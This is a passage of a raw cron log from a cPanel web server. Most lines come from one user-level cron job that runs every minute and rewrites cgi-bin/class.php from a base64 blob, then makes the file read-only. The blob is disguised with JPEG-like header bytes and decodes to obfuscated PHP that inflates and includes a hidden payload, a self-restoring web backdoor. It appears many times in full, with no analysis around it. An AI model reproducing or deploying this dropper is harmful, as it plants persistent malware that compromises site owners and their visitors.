qBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:17:01 server CROND[20428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:17:01 server CROND[20429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:17:01 server CROND[20430]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:18:01 server CROND[20892]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:18:01 server CROND[20893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:18:01 server CROND[20894]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:19:01 server CROND[21254]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:19:01 server CROND[21256]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:19:01 server CROND[21255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:20:01 server CROND[21697]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 01:20:01 server CROND[21699]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 01:20:01 server CROND[21705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:20:01 server CROND[21709]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:20:01 server CROND[21712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:20:01 server CROND[21706]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 13 01:20:01 server CROND[21710]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 01:20:01 server CROND[21708]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 01:20:01 server CROND[21707]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 01:21:01 server CROND[22535]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:21:01 server CROND[22536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:21:01 server CROND[22538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:22:01 server CROND[23080]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:22:01 server CROND[23081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:22:01 server CROND[23082]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:23:01 server CROND[23553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:23:01 server CROND[23552]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:23:01 server CROND[23554]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:24:01 server CROND[23935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:24:01 server CROND[23936]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:24:01 server CROND[23937]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:25:01 server CROND[24313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:25:01 server CROND[24315]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:25:01 server CROND[24316]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 01:25:01 server CROND[24318]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 01:25:01 server CROND[24320]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:25:01 server CROND[24319]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 01:25:01 server CROND[24317]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 01:26:01 server CROND[25135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:26:01 server CROND[25136]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:26:01 server CROND[25137]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:27:01 server CROND[25510]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 13 01:27:01 server CROND[25509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:27:01 server CROND[25512]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:27:01 server CROND[25511]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:28:01 server CROND[26001]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 01:28:01 server CROND[26000]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 01:28:01 server CROND[26002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 01:29:01 server CROND[26374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
